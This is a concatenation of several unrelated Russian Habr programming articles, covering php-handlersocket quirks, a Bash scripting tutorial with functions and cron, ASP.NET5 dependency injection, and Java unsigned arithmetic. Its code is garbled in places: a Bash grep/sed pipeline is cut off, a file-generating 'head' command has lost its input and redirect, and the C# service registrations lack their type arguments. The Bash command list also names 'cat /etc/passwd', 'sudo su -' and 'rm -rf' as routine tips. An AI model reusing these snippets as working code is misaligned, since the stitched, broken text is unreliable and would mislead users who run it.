Программа в блокноте python:
[Indicator13 - Google Colab Resarch](https://colab.research.google.com/drive/1wa3ha23-sX7tupHIntVG0hPXcaqJ-nR3#scrollTo=IEh3IEyC4Xiq)
Доступно для сохранения и экспериментов. | https://habr.com/ru/post/686218/ | null | ru | null |
# Подводные камни при работе с php-handlersocket
HandlerSocket — это noSQL-плагин для mySQL, позволяющий обращаться к базам данных в обход уровня SQL.
Данная статья предназначена для тех, кто успешно поставил HandlerSocket и php-handlersocket, а также столкнулся со скудным мануалом и странным поведением этого плагина для php.
Если вы впервые слышите о данном решении, то рекомендую предварительно ознакомиться со следующими материалами:
[NoSQL в MySQL: разгон MySQL до 750 000 запросов в секунду](http://tokarchuk.ru/2010/10/nosql-in-mysql-improve-mysql/)
[Первый опыт работы с Handler Socket & php\_handlersocket](http://habrahabr.ru/blogs/nosql/113040/)
[Некоторые тонкости Update & Insert в Handler Socket](http://habrahabr.ru/blogs/nosql/113039/)
При пристальном рассмотрении и знании глубинных недр mySQL, многие из вопросов достаточно наивны, но это именно те вопросы, которые озадачили меня за время разработки. При этом не всегда понятно, что из выявленных мной «фич» является следствием внутренней структуры mySQL, что – результатом работы тентаклей создателя HandlerSocket Yoshinori Matsunobu, а что, в свою очередь – кодом php-handlersocket.
Для иллюстрации примеров используется следующая таблица с исходными данными:
`CREATE TABLE IF NOT EXISTS `test` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`country_id` int(11) NOT NULL,
`city_id` int(11) NOT NULL,
`language` varchar(2) NOT NULL,
`name` varchar(255) NOT NULL,
`created_at` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
PRIMARY KEY (`id`),
KEY `idx_name` (`name`),
KEY `idx_country_language` (`country_id`,`language`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=0;
INSERT INTO `test` (`id`, `country_id`, `city_id`, `language`, `name`, `created_at`) VALUES
(1, 1, 1, 'es', 'Terminator', '2011-07-02 00:00:00'),
(2, 1, 1, 'en', 'Flash Gordon’', '2011-07-02 01:00:00'),
(3, 3, 4, 'en', 'Batman', '2011-07-02 02:00:00'),
(4, 1, 2, 'jp', 'Godzilla', '2011-07-02 03:00:00'),
(5, 2, 8, 'es', 'Superman’, '2011-07-02 04:00:00');`
И, разумеется, сами HandlerSocket’ы
`$hsr = new HandlerSocket('localhost', 9998); // Для чтения
$hsw = new HandlerSocket('localhost', 9999); // Для записи`
А теперь на минуту представим, что перед нами только севший за использование php-handlersocket джуниор и его более опытный товарищ.
**Я выполнил executeInsert(), а в базе ничего не появилось!**
Если ты используешь innoDB, то сделай FLUSH TABLE. innoDB — транзакционные таблицы, поэтому надо сообщить mySQL, что «все приехало». Разумеется, с myISAM подобных проблем нет.
**А почему мое поле AUTO\_INCREMENT всегда получает значение 0?**
Считать auto\_increment не входит в обязанности php-handlersocket. Но это не запрещает считать его самим, главное не забыть после окончания работы с php-handlersocket установить его в таблице с помощью ALTER TABLE SET auto\_increment.
**У меня не получается добавить запись, устанавливая значения только некоторых полей!**
При использовании executeInsert() нельзя пропускать поля в openIndex(), но можно останавливаться на достигнутом, т.е. не указывать все поля в таблице до конца.
Не работает:
`$hsw->openIndex(0, 'test_db', 'test', '', 'id,name');
$hsw->executeInsert(0, array(999, 'Green Lantern'));`
Работает:
`$hsw->openIndex(0, 'test_db', 'test', '', 'id,country_id,city_id,language,name');
$hsw->executeInsert(0, array(999, 2, 3, 'en', 'Green Lantern'));`
**Мне позарез надо выполнить «SELECT \* FROM Customers»!**
По умолчанию, если не указан параметр $limit, php-handlersocket возвращает лишь одну запись, соответвтующую заданным критериям. Для того, чтобы получить все записи из таблицы, независимо от критериев, можно попробовать следующее:
`$hsr->openIndex(0, 'test_db', 'test', '', 'id,country_id,city_id,language,name,created_at');
$res = $hsr->executeSingle(0, '>', array(0), 9999999999);`
Стоит, однако, помнить, что в $res вернется массив, который может быть очень большим, что может привести к непоправимым последствиям.
**Мне жизненно необходима обратная сортировка по индексу!**
Тогда тебе стоит на время стать индусом! Внимание, никогда не пытайся воспроизвести это в домашних условиях:
`$hsr->openIndex(0, 'test_db’', 'test', '', 'id,country_id,city_id,language,name,created_at');
$res = $hsr->executeSingle(0, '<', array(9999999999));`
Если же ты и вовсе решил достичь нирваны, и хочешь отсортировать результаты по индексу, который является текстовым полем (в нашем случае это idx\_name), то можно попробовать следующее:
`$hsr->openIndex(0, 'test_db’', 'test', 'idx_name', 'id,country_id,city_id,language,name,created_at');
$res = $hsr->executeSingle(0, '<', array('ZZZZZZZZZ'));`
Рекомендую относиться к данным «фичам» очень скептически.
**Какая-то ерунда с $limit и $skip. $limit=3, $skip=0 возвращает первые 3 запиcи, а $limit=3, $skip=3 не возвращаeт вообще ничего!**
Дело в том, что php-handlersocket считает, что $limit – это количество всех записей, которые должны быть выбраны, начиная с нулевой, а $skip – с какой по порядку записи необходимо возвращать результат. Т.е. использование значений параметров $limit=3, $skip=3 означает «эй, возьми мне всего 3 записи и верни мне те, которые после третьей», что приводит к возврату пустого массива. Для эмуляции «LIMIT 3, 3» необходимо использовать следующее:
`$hsw->openIndex(0, 'db_test', 'test', '', 'id,country_id,city_id,language,name,created_at');
$r = $hsw->executeSingle(0, '>', array(0), 6, 3);`
**У меня не работает выборка по индексу, где два поля и одно из них является текстовым (idx\_country\_language)!**
К сожалению, как показала практика, php-handlersocket не способен искать по индексам, содержащим текстовые поля или даты. Как вариант, можно посоветовать использовать тип поля ENUM, там где это возможно. При этом с выборкой по индексам на одно поле (текстовое или дату) php-handlersocket справляется замечательно.
**Выводы**
HandlerSocket + php-handlersocket являются на данный момент очень интересным, но все же костылем для mySQL. Переписать весь сайт на их использование не получится ни в коем случае, а вот для банального key-value-storage с приятными дополнениями данное решение рекомендуется. | https://habr.com/ru/post/123452/ | null | ru | null |
# Основы Bash-скриптинга для непрограммистов. Часть 3
Во [второй части статьи](https://habr.com/ru/post/540076/) мы обсудили файлы скриптов, их параметры и права доступа. Также поговорили про операторы условного выполнения, выбора и циклы. В этой, заключительной части мы рассмотрим функции и планировщик заданий cron. Также приведу различные полезные команды и ссылки.
Функции
-------
Часто используемые, повторяющиеся блоки имеет смысл выделять в отдельные функции, чтобы при необходимости их запускать, передавая параметры.
Определение функции выглядит следующим образом:
```
<имя_функции>() {
<команды>
return <число>
}
function <имя_функции>() {
<команды>
return <число>
}
```
Первый вариант ближе к синтаксису языка С и считается более переносимым, во втором варианте круглые скобки можно не указывать. Также может отсутствовать оператор return, если функция не возвращает значения.
Самый простой пример скрипта, содержащего объявление и вызов функции будет выглядеть так:
```
#!/bin/bash
f() {
echo Test
}
f
```
Мы объявили функцию `f`, которая выводит слово Test, и затем вызвали её:
```
test@osboxes:~$ ./script6.sh
Test
```
Так же, как и скрипт, функция может принимать параметры и использовать их, ссылаясь по номеру ($1, $2, …, $N). Вызов функции с параметрами в скрипте осуществляется так:
```
<имя функции> <параметр1> <параметр2>… <параметрN>
```
Функция может возвращать результат своего выполнения (код завершения) в виде числового значения в диапазоне от 0 до 255. Принято считать, что если функция возвращает 0, то она выполнилась успешно, во всех остальных случаях значение содержит код ошибки. Чтобы получить код завершения функции в скрипте, необходимо обратиться к переменной `$?`. Добавив параметры и возвращаемое значение, получим следующий скрипт:
```
#!/bin/bash
summ() {
re='^[0-9]+$'
if ! [[ $1 =~ $re ]] ; then
return 1
elif ! [[ $2 =~ $re ]] ; then
return 2
else
s=$(($1 + $2))
return 0
fi
}
summ $1 $2
case $? in
0) echo "The sum is: $s" ;;
1) echo "var1 is not a nubmer" ;;
2) echo "var2 is not a nubmer" ;;
*) echo "Unknown error" ;;
esac
```
Здесь мы создали функцию summ, которая принимает 2 параметра и с помощью регулярного выражения `^[0-9]+$` проверяет, является ли каждый из переданных параметров числом. В случае, если первый параметр не число, то код завершения функции будет 1, если второй параметр не число, то код завершения функции будет 2. Во всех остальных случаях функция вычисляет сумму переданных параметров, сохраняя результат в глобальной переменной s.
Скрипт вызывает функцию, передавая ей на вход параметры, которые были переданы ему самому при вызове. Далее проверяется код завершения функции и выдается соответствующая ошибка, если код не равен 0, иначе выдается сумма, сохраненная в переменной `s`. Протестируем скрипт:
```
test@osboxes.org:~$ ./script7.sh abc 123
var1 is not a nubmer
test@osboxes.org:~$ ./script7.sh 234 def
var2 is not a nubmer
test@osboxes.org:~$ ./script7.sh 10 15
The sum is: 25
```
По умолчанию переменные объявляются глобальными, т.е. видны в любом блоке скрипта. Переменные, объявленные как локальные, имеют ограниченную область видимости, и видны только в пределах блока, в котором они были объявлены. В случае с функцией это означает, что локальная переменная "видна" только в теле функции, в которой она была объявлена.
Для того, чтобы объявить переменную локальной, используется слово local, например `local loc_var=123`. Важно отметить, все что переменные, объявляемые в теле функции, считаются необъявленными до тех пор, пока эта функция не будет вызвана.
Объединим все воедино, создав на основе рассмотренных ранее структур следующий скрипт:
```
#!/bin/bash
clearFiles() {
rm *.dat
if [ $? -eq 0 ]
then
echo Files deleted
fi
}
genFiles() {
for (( i=1; i<=$1; i++ ))
do
head -c ${i}M myfile${i}mb.dat
done
ls -l *.dat
}
delFiles() {
for f in *.dat
do
size=$(( $(stat -c %s $f) /1024/1024 ))
if [ $size -gt $1 ]
then
rm $f
echo Deleted file $f
fi
done
ls -l *.dat
}
showWeather() {
curl -s "https://weather-broker-cdn.api.bbci.co.uk/en/observation/rss/$1" | grep "//g; s/<\/description>//g'
}
menu() {
clear
echo 1 - Delete all .dat files
echo 2 - Generate .dat files
echo 3 - Delete big .dat files
echo 4 - List all files
echo 5 - Planet info
echo 6 - Show weather
echo "x/q - Exit"
echo -n "Choose action: "
read -n 1 key
echo
}
while true
do
case "$key" in
"x" | "q" | "X" | "Q") break ;;
"1")
clearFiles
read -n 1
;;
"2")
echo -n "File count: "
read count
genFiles $count
read -n 1
;;
"3")
echo -n "Delete file greater than (mb): "
read maxsize
delFiles $maxsize
read -n 1
;;
"4")
ls -la
read -n 1
;;
"5")
./script4.sh
read -n 1
;;
"6")
echo -n "Enter city code: " # 524901 498817 5391959
read citycode
showWeather $citycode
read -n 1
;;
esac
menu
done
```
В данном скрипте мы объявили 5 функций:
* clearFiles
* genFiles
* delFiles
* showWeather
* menu
Далее реализован бесконечный цикл с помощью оператора while с условием true, в который вложен оператор выбора в зависимости от нажатой клавиши, а также вызов функции menu для отображения списка доступных действий. Данный скрипт в интерактивном режиме позволяет выполнить следующие действия:
* Удалить все файлы .dat в текущей директории
* Создать указанное количество файлов
* Удалить файлы больше определенного размера
* Вывести список всех файлов текущей директории
* Запустить скрипт, выдающий информацию о планетах
* Отобразить погоду по коду указанного города
Не будем подробно разбирать все строки кода, скажем только, что в скрипте демонстрируется вызов другого скрипта, получение информации из интернет, и её парсинг (выделение нужной информации), команда break для выхода из цикла и ряд других возможностей. Предлагаю желающим самостоятельно протестировать скрипт, посмотреть, какие могут быть ошибки при его работе и при вводе различных значений, какие проверки можно добавить, и что можно улучшить. Приведем результаты тестирования:
```
test@osboxes.org:~$ ./script8.sh
1 - Delete all .dat files
2 - Generate .dat files
3 - Delete big .dat files
4 - List all files
5 - Planet info
6 - Show weather
x/q - Exit
Choose action: 4
total 40
drwxr-xr-x 2 test test 4096 Feb 16 15:56 .
drwxr-xr-x 6 root root 4096 Feb 16 15:54 ..
-rw------- 1 test test 42 Feb 16 15:55 .bash_history
-rw-r--r-- 1 test test 220 Feb 16 15:54 .bash_logout
-rw-r--r-- 1 test test 3771 Feb 16 15:54 .bashrc
-rw-r--r-- 1 test test 807 Feb 16 15:54 .profile
-rw-r--r-- 1 test test 1654 Feb 16 12:40 input.xml
-rwxr-xr-x 1 test test 281 Feb 16 14:02 script4.sh
-rwxr-xr-x 1 test test 328 Feb 16 13:40 script7.sh
-rwxr-xr-x 1 test test 1410 Feb 16 15:24 script8.sh
```
```
1 - Delete all .dat files
2 - Generate .dat files
3 - Delete big .dat files
4 - List all files
5 - Planet info
6 - Show weather
x/q - Exit
Choose action: 2
File count: 8
-rw-rw-r-- 1 test test 1048576 Feb 16 16:00 myfile1mb.dat
-rw-rw-r-- 1 test test 2097152 Feb 16 16:00 myfile2mb.dat
-rw-rw-r-- 1 test test 3145728 Feb 16 16:00 myfile3mb.dat
-rw-rw-r-- 1 test test 4194304 Feb 16 16:00 myfile4mb.dat
-rw-rw-r-- 1 test test 5242880 Feb 16 16:00 myfile5mb.dat
-rw-rw-r-- 1 test test 6291456 Feb 16 16:00 myfile6mb.dat
-rw-rw-r-- 1 test test 7340032 Feb 16 16:00 myfile7mb.dat
-rw-rw-r-- 1 test test 8388608 Feb 16 16:00 myfile8mb.dat
```
```
1 - Delete all .dat files
2 - Generate .dat files
3 - Delete big .dat files
4 - List all files
5 - Planet info
6 - Show weather
x/q - Exit
Choose action: 3
Delete file greater than (mb): 5
Deleted file myfile6mb.dat
Deleted file myfile7mb.dat
Deleted file myfile8mb.dat
-rw-rw-r-- 1 test test 1048576 Feb 16 16:00 myfile1mb.dat
-rw-rw-r-- 1 test test 2097152 Feb 16 16:00 myfile2mb.dat
-rw-rw-r-- 1 test test 3145728 Feb 16 16:00 myfile3mb.dat
-rw-rw-r-- 1 test test 4194304 Feb 16 16:00 myfile4mb.dat
-rw-rw-r-- 1 test test 5242880 Feb 16 16:00 myfile5mb.dat
```
```
1 - Delete all .dat files
2 - Generate .dat files
3 - Delete big .dat files
4 - List all files
5 - Planet info
6 - Show weather
x/q - Exit
Choose action: 1
Files deleted
```
```
1 - Delete all .dat files
2 - Generate .dat files
3 - Delete big .dat files
4 - List all files
5 - Planet info
6 - Show weather
x/q - Exit
Choose action: 5
Enter the name of planet: Mars
The Mars has two satellite(s).
```
```
1 - Delete all .dat files
2 - Generate .dat files
3 - Delete big .dat files
4 - List all files
5 - Planet info
6 - Show weather
x/q - Exit
Choose action: 6
Enter city code: 524901
Latest observations for Moscow from BBC Weather, including weather, temperature and wind information
Temperature: -11°C (11°F), Wind Direction: Northerly, Wind Speed: 0mph, Humidity: 84%, Pressure: 1018mb, , Visibility: Moderate
```
Примечание: для тестирования работы с данными из Интернет (пункт 6 в меню выбора скрипта) может потребоваться установка curl, это можно сделать командой `sudo apt install curl`.
Планировщик заданий cron
------------------------
В случае, когда есть необходимость периодического запуска скриптов, полезно использовать планировщик cron, он позволяет задать расписание запуска скрипта и не требует присутствия администратора.
Просмотр заданий пользователя выполняется командой `crontab –l`. Для редактирования и создания новых задания используется команда `crontab –e`. Строки для запуска команд планировщика в файле конфигурации cron имеют следующий формат:
```
m h dom mon dow command parameters
```
Где m – минута, h – час, dom – день месяца, mon – месяц, dow – день недели, command – команда, parameters – список параметров. Наглядно этот формат можно представить так:
Например, для того, чтобы в 10 и 30 минут каждого часа каждый день месяца весь год по будням запускать команду, нужно указать следующее:
```
10,30 * * * 1-5 command parameter1 parameter2
```
Более простой пример, каждые 15 минут выполнять команду:
```
*/15 * * * * command
```
Создадим скрипт для резервного копирования домашней директории пользователя, который будет создавать новый файл бэкапа при каждом запуске:
```
#!/bin/bash
USER=`whoami`
BACKUP_DIR=/tmp/backup_${USER}
BACKUP_FILE=${USER}_$(date +%Y%m%d%M%H%S).tgz
mkdir -p $BACKUP_DIR
cd /
tar -zcf $BACKUP_DIR/$BACKUP_FILE home/$USER
```
Поставим скрипт на выполнение каждый день в 22:00, выполнив команду `crontab -e`и добавив с помощью открывшегося редактора строку:
```
00 22 * * * ./backup_home.sh
```
Проверить, что задача добавлена в планировщик, можно командой `crontab -l`:
```
test@osboxes.org:~$ crontab -l
00 22 * * * ./backup_home.sh
```
В результате каждый день в 22:00 будет создаваться резервная копия домашней директории пользователя (в приведенном примере для демонстрации запуск скрипта выполняется каждую минуту):
```
test@osboxes.org:~$ cd /tmp/backup_test/
test@osboxes:/tmp/backup_test$ ll
total 80
drwxrwxr-x 2 test test 4096 Feb 16 16:38 ./
drwxrwxrwt 17 root root 4096 Feb 16 16:30 ../
-rw-rw-r-- 1 test test 4431 Feb 16 16:30 test_20210216301601.tgz
-rw-rw-r-- 1 test test 4431 Feb 16 16:31 test_20210216311601.tgz
-rw-rw-r-- 1 test test 4431 Feb 16 16:32 test_20210216321601.tgz
-rw-rw-r-- 1 test test 4431 Feb 16 16:33 test_20210216331601.tgz
-rw-rw-r-- 1 test test 4431 Feb 16 16:34 test_20210216341601.tgz
test@osboxes:/tmp/backup_test$
```
Нужно отметить, что директория /tmp в примере использована исключительно для тестов, т.к. она предназначена для хранения временных файлов, и использовать её для хранения резервных копий нельзя. Правильное место размещения бэкапов может подсказать системный администратор.
Список полезных команд
----------------------
Список встроенных команд интерпретатора: help
Помощь по команде: <команда> --help
Мануал по команде: man <команда>
Версия команды: <команда> --version
Список доступных оболочек: cat /etc/shells
Список пользователей и их оболочек: cat /etc/passwd
Текущая директория: pwd
Список файлов текущей директории: ls -la
Текущий пользователь: id
Переменные среды: set
Версия ОС: cat /etc/os-release
Версия ядра: uname -a
Получить привилегии суперпользователя: sudo su -
Установка программы в Debian: apt install mc
Посмотреть утилизацию(загрузку): top
Свободное место: df -h
Сколько занимает директория: du -ks /var/log
Конфигурация сетевых интерфейсов: ifconfig -a
Объем оперативной памяти: free -m
Информация о блочных устройствах(дисках): lsblk
Информация о процессорах: cat /proc/cpuinfo
Список установленных пакетов: apt list --installed
Список и статус сервисов: service --status-all
Перезапуск сервиса: service apache2 restart
Скачать файл: wget https://www.gnu.org/graphics/gplv3-with-text-136x68.png
Получить веб-страницу по URL: curl https://www.google.com
Показать задания планировщика: crontab -l
Редактировать задания планировщика: crontab -e
Вывести новые сообщения в системном логе: tail -f /var/log/syslog
Подсчитать количество строк в выводе команды: <команда> | wc -l
Изменить права доступа к файлу (разрешить выполнение всем): chmod a+x <файл>
Список процессов: ps -ef
Проверить, запущен ли процесс: ps -ef | grep <процесс>
Перейти в предыдущий каталог: cd -
Завершить процесс (сигнал kill): kill -9
Удаление файла: rm <имя файла>
Удаление директории: rm -rf <имя директории>
Редактировать файл: nano <имя\_файла>
Топ 10 процессов по использованию памяти: ps aux | awk '{print $6/1024 " MB\t\t" $11}' | sort -nr | head
Полезные ссылки
---------------
Руководство по bash: [GNU Bash manual](https://www.gnu.org/software/bash/manual/)
Расширенное руководство по Bash: [Advanced Bash-Scripting Guide](https://tldp.org/LDP/abs/html/)
Статья на Википедии: [Bash](https://ru.wikipedia.org/wiki/Bash)
Описание команд и утилит оболочки bash: [SS64](https://ss64.com/bash/)
Часто задаваемые вопросы о Debian GNU/Linux: [Debian FAQ](https://www.debian.org/doc/manuals/debian-faq/)
Заключение
----------
В данной статье мы рассмотрели основы разработки скриптов с использованием bash, изучили базовые структуры, позволяющие реализовывать логику работы скрипта в зависимости от различных условий, познакомились с планировщиком. Bash является очень гибким инструментом, позволяющим реализовать задачи различного уровня сложности. При подключении внешних утилит предоставляет большие возможности для автоматизации.
На этом пока все, надеюсь, было интересно!
Какие другие полезные команды вы знаете и используете в работе?
Какие интересные конструкции приходилось использовать?
Какие задачи решали?
Всем удачного скриптинга, делитесь мнениями в комментариях! | https://habr.com/ru/post/542744/ | null | ru | null |
# Готовим ASP.NET5, выпуск №3 — внедрение зависимостей по-новому
> *Мы продолжаем нашу колонку по теме ASP.NET5 публикацией от Виктора Коцюбана ( [Gbdrm](https://habrahabr.ru/users/gbdrm/)) — Technical Leader из SoftServe. В этой статье Виктор поделится с вами подробностями нового встроенного функционала внедрений зависимостей в ASP.NET5. Предыдущие статьи из колонки всегда можно прочитать по ссылке [#aspnetcolumn](http://habrahabr.ru/search/?q=%5B%23aspnetcolumn%5D&target_type=posts) — Владимир Юнев*
Внедрение зависимости – одна из самых популярных и используемых форм инверсии управления, важного принципа ООП, что позволяет уменьшить сцепление (coupling) – взаимозависимость, взаимосвязанность модулей.
Во многих современных фреймворках внедрение зависимости уже является частью самого фреймворка. Это является большим плюсом, так как у разработчиков появляется встроенная возможность создания компонент, разрешение зависимостей и предоставление их другим компонентам по запросу, при чем происходит это внутри самой программной платформы. Кроме того, внедрение зависимостей является одним из базовых принципов работы с платформой, незнание которых может привести к не эффективному использованию фреймворка ~~написанию говнокода~~.
В ASP.NET 5 встроена возможность внедрения зависимости. Что она позволяет и чем выделяется среди других таких подходов рассмотрим ниже. А также попробуем использовать ее на практике.
ASP.NET 5 находится в бета версии и все что здесь описано может изменится до финального релиза. Например, не так давно были серьезные изменения в возможностях внедрения в свойства. Но основная концепция и главные направления этого нововведения уже понятны.
### Основы и регистрация сервисов
Большинство зависимостей, что нужны для представлений, контроллеров и т.д. реализованы как сервисы, потому сервис – это минимальная единица которой управляет DI контейнер. Ключевые возможности минималистического контейнера ASP.NET 5 вынесены в интерфейс IServiceProvider. Единственный метод этого интерфейса – object GetService(Type serviceType).
Есть 4 типа инициализации сервисов (4 типа области видимости), которые поддерживаются контейнером:
1. Instance – возвращается конкретный объект, за создание которого отвечаете вы сами.
2. Transient – каждый раз возвращается новый объект.
3. Singleton – всегда возвращается один и тот же объект.
4. Scoped – эквивалентен сиглтону, но в данной области (например, в области запроса).
Регистрируются сервисы на старте приложения, в классе Startup, метод ConfigureServices(IServiceCollection services), при чем коллекция ServiceCollection так же имеет методы для добавления сервиса с соответствующей областью видимости (Рис.1).

*Рис.1. — Диаграмма классов*
Пример использования extension-методов коллекции ServiceCollection:
```
public virtual void ConfigureServices(IServiceCollection services)
{
var settings = new Settings();
services.AddInstance(settings);
services.AddScoped();
services.AddSingleton();
}
```
После регистрации сервисы доступны во всех классах, что были вызваны через DI, а также доступных в представлениях.
### Внедряем сервисы в контроллер
С внедрением в контроллеры все очень просто – оно происходит через конструктор контроллера.
```
public class HomeController : Controller
{
private readonly IApplicationEnvironment _appEnvironment;
private readonly IProductService _productService;
public HomeController(IProductService productService,
IApplicationEnvironment appEnvironment)
{
_appEnvironment = appEnvironment;
_productService = productService;
}
// ...
}
```
И больше ничего делать не нужно. Зарегистрированные сервисы доступны как параметры конструктора.
Если мы используем EntityFramework в нашем приложении, то одна их первых зависимостей, о которых мы задумаемся для использования DI – это DbContext. Это позволит нам написать менее завязанный на DbContext код, легче тестировать такой функционал и т.д.
Пример:
[github.com/gbdrm/aspnet5/blob/master/src/aspnet5/Controllers/HomeController.cs#L12-L17](https://github.com/gbdrm/aspnet5/blob/master/src/aspnet5/Controllers/HomeController.cs#L12-L17)
### Внедрение в представления
Так же существует интересная возможность использования зарегистрированных сервисов в представлениях (\*.cshtml).
```
@model SomeViewModel
@inject SomeContext SomeContext
@SomeContext.PageTitle
======================
```
Директива **@inject** говорит движку представлений, что мы хотим использовать сервис SomeContext. И в самом представлении уже можно использовать этот сервис, в данном случае – свойство PageTitle.
Кроме использования сервисов в представлениях еще одно интересное нововведение – это типизированные настройки. Кроме регистрации сервисов есть возможность «зарегистрировать» часть конфигурации, перед этим приведя эту конфигурацию к определенному типу и сделать это можно всего в несколько строк кода.
Пример внедрения типизированной конфигурации в представлении:
[github.com/gbdrm/aspnet5/commit/88dc1e708f89edfd30a55ae90265cde9074ae312](https://github.com/gbdrm/aspnet5/commit/88dc1e708f89edfd30a55ae90265cde9074ae312)
### Внедрение в свойства и куда пропал [Activate]
Раньше с помощью атрибута [Activate] можно было вытащить соответствующий сервис для свойства. Но разработчиками было принято решение отказаться от этого. Главными причинами для этого послужили проблемы с совместимостью с другими библиотеками для внедрения зависимостей, а также усложнение отладки. Некоторое время проходили дискуссии по этому поводу, много деталей можно прочитать здесь: [github.com/aspnet/Mvc/issues/2151](https://github.com/aspnet/Mvc/issues/2151), [github.com/aspnet/Announcements/issues/28](https://github.com/aspnet/Announcements/issues/28)
Но все же возможность внедрения зависимостей через свойства осталась – с помощью атрибута [FromServices].
Давайте создадим тестовый класс, добавим его в контейнер и попробуем внедрить в свойство контроллера.
[github.com/gbdrm/aspnet5/commit/3d09ef0c5b6d079884337a6e044262659a4f6250](https://github.com/gbdrm/aspnet5/commit/3d09ef0c5b6d079884337a6e044262659a4f6250)
### Заключение
Внедрение зависимостей на уровне фреймворка – это отличный механизм для унификации работы с зависимостями. Реализация в ASP.NET 5 прозрачна и понятна, а конфигурация очень легкая. Несмотря на то, что пока реализация находится в бета-версии, большинство функционала уже стабильно и готово к полноценной разработке. Все исходники контейнера доступны на GitHub – [github.com/aspnet/DependencyInjection](https://github.com/aspnet/DependencyInjection). Работа идет до сих пор, можно ознакомится не только с функциональностью, но и посмотреть, как создают часть платформы. Если вам интересно узнать больше по теме dependency injection в asp.net 5, есть отличная статья (на английском языке): [www.emadashi.com/2015/06/dependency-injection-in-asp-net-5-one-step-deeper](http://www.emadashi.com/2015/06/dependency-injection-in-asp-net-5-one-step-deeper/).
> [](https://github.com/gbdrm/aspnet5)**Совет!** А также, если вам интересна тема ASP.NET5, можно посмотреть примеры, попробовать дописать что-то самому или написать запрос на реализацию какого-либо функционала в проекте с примерами: [github.com/gbdrm/aspnet5](https://github.com/gbdrm/aspnet5)
### Свежие новости
Как вы уже знаете выпущена Visual Studio 2015 с ASP.NET5 Beta5. Подробности о том, что именно включено в релиз Visual Studio можно почитать в [этом блоге](http://blogs.msdn.com/b/webdev/archive/2015/07/20/announcing-asp-net-4-6-and-asp-net-5-beta-5-in-visual-studio-2015-release.aspx).
Выпущено обновление ASP.NET5 Beta6 с множеством изменений, улучшений и исправлений ошибок. Подробности обновления можно найти [в этом блоге](http://blogs.msdn.com/b/webdev/archive/2015/07/27/announcing-availability-of-asp-net-5-beta-6.aspx). Вы можете загрузить обновление [по этой ссылке](http://www.microsoft.com/en-us/download/details.aspx?id=48222).
Опубликованы [планы](https://www.github.com/aspnet/home/wiki/roadmap) по выпуску релизов платформы в течение ближайших месяцев до выпуска финальной версии ASP.NET5. Согласно им нас ждут версии Beta7 и Beta8, после чего в ноябре мы получим первую версию, готовую к продакшну (RC1), финальная же версия выйдет в первом квартале 2016 года. Подробности каждой версии можно найти [по ссылке](https://github.com/aspnet/home/wiki/roadmap).
[Опубликованы доклады](https://channel9.msdn.com/Events/DevCon/Russia-2015) конференции DevCon 2015, в том числе по веб-разработке и [теме ASP.NET](https://channel9.msdn.com/Events/DevCon/Russia-2015?sort=sequential&direction=desc&term=asp.net#theSessions).
### Полезные ссылки
Самая свежая документация по ASP.NET5 расположена по адресу <http://docs.asp.net/en/latest/>.
Приглашаем вас подключаться к живым трансляциям периодического шоу [ASP.NET 5 Community Standup](https://www.youtube.com/playlist?list=PL0M0zPgJ3HSftTAAHttA3JQU4vOjXFquF), где разработчики из команды Microsoft делятся последними новостями о платформе. Записи доступны [по этой ссылке](https://www.youtube.com/playlist?list=PL0M0zPgJ3HSftTAAHttA3JQU4vOjXFquF).
Познакомьтесь с новой статьей [о разработке ASP.NET-приложений в Visual Studio Code](https://azure.microsoft.com/en-us/documentation/articles/web-sites-create-web-app-using-vscode/) от Эрика Рейтана, в которой подробно изложены интересные аспекты работы с веб-проектами в VS Code.
Изучите основы ASP.NET5 с [новым бесплатным курсом](https://www.microsoftvirtualacademy.com/en-US/training-courses/what-s-new-with-asp-net-5-8478) виртуальной академии Microsoft.
### Авторам
Друзья, если вам интересно поддержать колонку своим собственным материалом, то прошу написать мне на [vyunev@microsoft.com](mailto:vyunev@microsoft.com) для того чтобы обсудить все детали. Мы разыскиваем авторов, которые могут интересно рассказать про ASP.NET и другие темы.
### Об авторе
**Коцюбан Виктор**
Technical Leader в SoftServe
[Gbdrm](https://habrahabr.ru/users/gbdrm/)
.NET Разработчик с более чем 8 годами опыта. Специалист в области Enterprise веб проектов. Последние 4 года занимает должность технического лидера. | https://habr.com/ru/post/264467/ | null | ru | null |
# Беззнаковая арифметика в Java
Как известно, в Java нет беззнаковых типов. Если в Си вы могли написать `unsigned int` (`char`, `long`), то в Java так не получится. Однако нередко возникает необходимость в выполнении арифметических операций именно с числами без знака. На первый взгляд кажется, что беззнаковые типы в принципе-то и не особо нужны (подумаешь, `MaxInt` для чисел со знаком меньше в два раза, если нужны числа больше, я просто возьму `long` и далее `BigInteger`). Но основное различие на самом деле не в том, сколько различных неотрицательных чисел можно положить в signed или unsigned int, а в том, как над ними производятся арифметические операции и сравнения. Если вы работаете с бинарными протоколами или с двоичной арифметикой, где важен каждый используемый бит, нужно уметь выполнять все основные операции в беззнаковом режиме. Рассмотрим эти операции по порядку:
#### Преобразование byte в short (int, long)
Обычный каст `(int) myByte` выполнит расширение до 32 бит со знаком — это означает, что если старший бит байта был установлен в 1, то результатом будет то же самое отрицательное число, но записанное в 32-битном формате:
`0xff -> 0xffffffff (-1)`
Часто это не то, чего бы мы хотели. Для того, чтобы выполнить расширение до 32 бит без знака и получить `0x000000ff`, в Java можно записать:
```
int myInt = myByte & 0xff;
short myShort = myByte & 0xff;
```
#### Сравнение без учёта знака
Для беззнакового сравнения есть лаконичная формула:
```
int compareUnsigned(int a, int b) {
return Integer.compare( a ^ 0x80000000, b ^ 0x80000000 );
}
```
Для byte, short и long, соответственно, константы будут `0x80`, `0x8000` и `0x8000000000000000L`.
#### Сложение, вычитание и умножение
А вот здесь приятный сюрприз — эти операции выполняются корректно в любом случае. Но в выражениях необходимо тщательно следить за тем, чтобы операции выполнялись с числами одного типа, так как любые неявные преобразования выполняются с расширением знака, и могут приводить к результатам, отличным от ожидаемых. Коварство таких багов в том, что ошибочный сценарий может выполняться очень редко.
#### Деление
Деление -256 на 256 даст нам -1. А нам бы хотелось, чтобы `0xffffff00 / 0x100` давало `0x00ffffff`, а не `0xffffffff (-1)`. Для `byte`, `short` и `int` решением будет переход к числам большей разрядности:
```
int a = 0xffffff00;
int b = 0x100;
int c = (int) ((a & 0xffffffffL) / b); // convert a to long before division
```
